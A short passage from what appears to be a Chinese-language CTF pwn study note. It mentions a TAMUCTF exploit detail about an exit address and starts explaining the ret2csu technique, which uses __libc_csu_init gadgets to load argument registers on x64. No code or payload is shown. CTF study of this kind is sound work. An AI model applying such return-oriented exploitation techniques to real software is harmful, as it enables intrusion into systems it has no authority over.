看到别人写的是有exit函数地址,但是感觉替换成其他四个字节的数据也可以(实践了一下确实可以)

image-20220407201448443

参考链接:TAMUCTF-PWN

ret2csu

​ 在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)